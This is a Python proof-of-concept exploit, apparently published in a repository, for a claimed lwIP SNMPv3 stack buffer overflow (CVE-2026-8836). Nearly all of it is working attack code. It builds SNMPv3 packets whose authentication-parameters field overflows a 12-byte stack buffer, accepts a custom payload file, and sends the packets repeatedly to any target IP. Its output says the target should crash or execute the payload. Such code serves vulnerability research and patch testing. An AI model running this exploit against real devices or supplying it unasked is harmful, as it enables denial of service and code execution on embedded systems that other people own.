README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-8836 — lwIP SNMPv3 Stack-Based Buffer Overflow PoC
A proof-of-concept exploit for the stack-based buffer overflow in lwIP's
SNMPv3 USM handler (snmp_parse_inbound_frame). The vulnerability is caused
by a commented-out bounds check and an incorrect buffer-size parameter in
snmp_asn1_dec_raw(), allowing a remote, unauthenticated attacker to overflow
the 12-byte msg_authentication_parameters buffer on the stack.
Affected: lwIP <= 2.2.1 with LWIP_SNMP_V3 enabled
Fix: https://github.com/lwip-tcpip/lwip/commit/0c957ec03054eb6c8205e9c9d1d05d90ada3898c
DISCLAIMER: This PoC is for authorized security research and educational
purposes only. Do not use against systems you do not own or have explicit
permission to test.
"""
import argparse
import socket
import struct
import sys
class ASN1Encoder:
def __init__(self):
self.buffer = bytearray()
def _encode_length(self, length):
if length < 0x80:
return bytes([length])
elif length < 0x100:
return bytes([0x81, length])
elif length < 0x10000:
return bytes([0x82, (length >> 8) & 0xFF, length & 0xFF])
else:
raise ValueError(f"Length too large: {length}")
def _encode_tlv(self, tag, value):
return bytes([tag]) + self._encode_length(len(value)) + value
def integer(self, value):
if value < 0:
if value >= -128:
encoded = struct.pack(">b", value)
elif value >= -32768:
encoded = struct.pack(">h", value)
else:
encoded = struct.pack(">i", value)
else:
if value <= 127:
encoded = struct.pack(">B", value)
elif value <= 255:
encoded = struct.pack(">BB", 0, value)
elif value <= 65535:
encoded = struct.pack(">H", value)
else:
encoded = struct.pack(">I", value)
return self._encode_tlv(0x02, encoded)
def octet_string(self, data):
if isinstance(data, str):
data = data.encode()
return self._encode_tlv(0x04, data)
def sequence(self, items):
content = b"".join(items)
return self._encode_tlv(0x30, content)
def null(self):
return bytes([0x05, 0x00])
def object_identifier(self, oid_str):
parts = [int(x) for x in oid_str.split(".")]
if len(parts) < 2 or parts[0] > 6 or parts[1] > 39:
raise ValueError(f"Invalid OID: {oid_str}")
encoded = bytearray()
encoded.append(parts[0] * 40 + parts[1])
for part in parts[2:]:
if part == 0:
encoded.append(0)
else:
sub_encoding = []
val = part
while val > 0:
sub_encoding.append((val & 0x7F) | 0x80)
val >>= 7
sub_encoding[0] &= 0x7F
encoded.extend(reversed(sub_encoding))
return self._encode_tlv(0x06, bytes(encoded))
def build_get_request_pdu(oid, request_id=1):
enc = ASN1Encoder()
varbind = enc.sequence([
enc.object_identifier(oid),
enc.null(),
])
varbind_list = enc.sequence([varbind])
pdu = enc._encode_tlv(0xA0, b"".join([
enc.integer(request_id),
enc.integer(0),
enc.integer(0),
varbind_list,
]))
return pdu
def build_malicious_snmpv3_packet(overflow_size=256, payload=None, request_id=1):
enc = ASN1Encoder()
if payload is None:
overflow_data = b"\x41" * overflow_size
else:
if len(payload) > overflow_size:
overflow_data = payload[:overflow_size]
else:
overflow_data = payload + b"\x00" * (overflow_size - len(payload))
usm_security_params = enc.sequence([
enc.octet_string(b"\x00"),
enc.integer(0),
enc.integer(0),
enc.octet_string(b""),
enc.octet_string(overflow_data),
enc.octet_string(b""),
])
pdu_data = build_get_request_pdu("1.3.6.1.2.1.1.1.0", request_id)
scoped_pdu = enc.sequence([
enc.octet_string(b""),
enc.octet_string(b""),
pdu_data,
])
header_data = enc.sequence([
enc.integer(1),
enc.integer(65507),
enc.octet_string(b"\x00"),
enc.integer(3),
])
snmpv3_message = enc.sequence([
enc.integer(3),
header_data,
enc.octet_string(usm_security_params),
scoped_pdu,
])
return snmpv3_message
def send_packet(target, port, packet):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(5)
try:
sock.sendto(packet, (target, port))
return True
except Exception as e:
print(f"[-] Error sending packet: {e}")
return False
finally:
sock.close()
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-8836 lwIP SNMPv3 Stack Overflow PoC",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s --target 192.168.1.100
%(prog)s --target 192.168.1.100 --overflow-size 512
%(prog)s --target 192.168.1.100 --overflow-size 4096 --payload-file payload.bin
""",
)
parser.add_argument("--target", required=True, help="Target IP address")
parser.add_argument("--port", type=int, default=161, help="SNMP port (default: 161)")
parser.add_argument(
"--overflow-size",
type=int,
default=256,
help="Size of msgAuthenticationParameters TLV value (default: 256)",
)
parser.add_argument(
"--payload-file",
help="File containing custom payload bytes for the overflow",
)
parser.add_argument(
"--count",
type=int,
default=1,
help="Number of packets to send (default: 1)",
)
parser.add_argument(
"--delay",
type=float,
default=0.0,
help="Delay between packets in seconds (default: 0)",
)
args = parser.parse_args()
payload = None
if args.payload_file:
try:
with open(args.payload_file, "rb") as f:
payload = f.read()
print(f"[*] Loaded payload: {args.payload_file} ({len(payload)} bytes)")
except FileNotFoundError:
print(f"[-] Payload file not found: {args.payload_file}")
sys.exit(1)
print(f"[*] Building malicious SNMPv3 packet...")
print(f"[*] msgAuthenticationParameters TLV length: {args.overflow_size} (buffer size: 12)")
print(f"[*] Overflow: {args.overflow_size - 12} bytes past buffer boundary")
if args.overflow_size <= 12:
print(f"[!] Warning: overflow-size ({args.overflow_size}) <= buffer size (12). No overflow will occur.")
import time
for i in range(args.count):
packet = build_malicious_snmpv3_packet(
overflow_size=args.overflow_size,
payload=payload,
request_id=i + 1,
)
print(f"[*] Packet {i+1}/{args.count}: {len(packet)} bytes → {args.target}:{args.port}")
if send_packet(args.target, args.port, packet):
print(f"[+] Packet {i+1} sent successfully.")
else:
print(f"[-] Packet {i+1} failed to send.")
if args.delay > 0 and i < args.count - 1:
time.sleep(args.delay)
print(f"[*] Done. Target should crash or execute payload if vulnerable.")
if __name__ == "__main__":
main()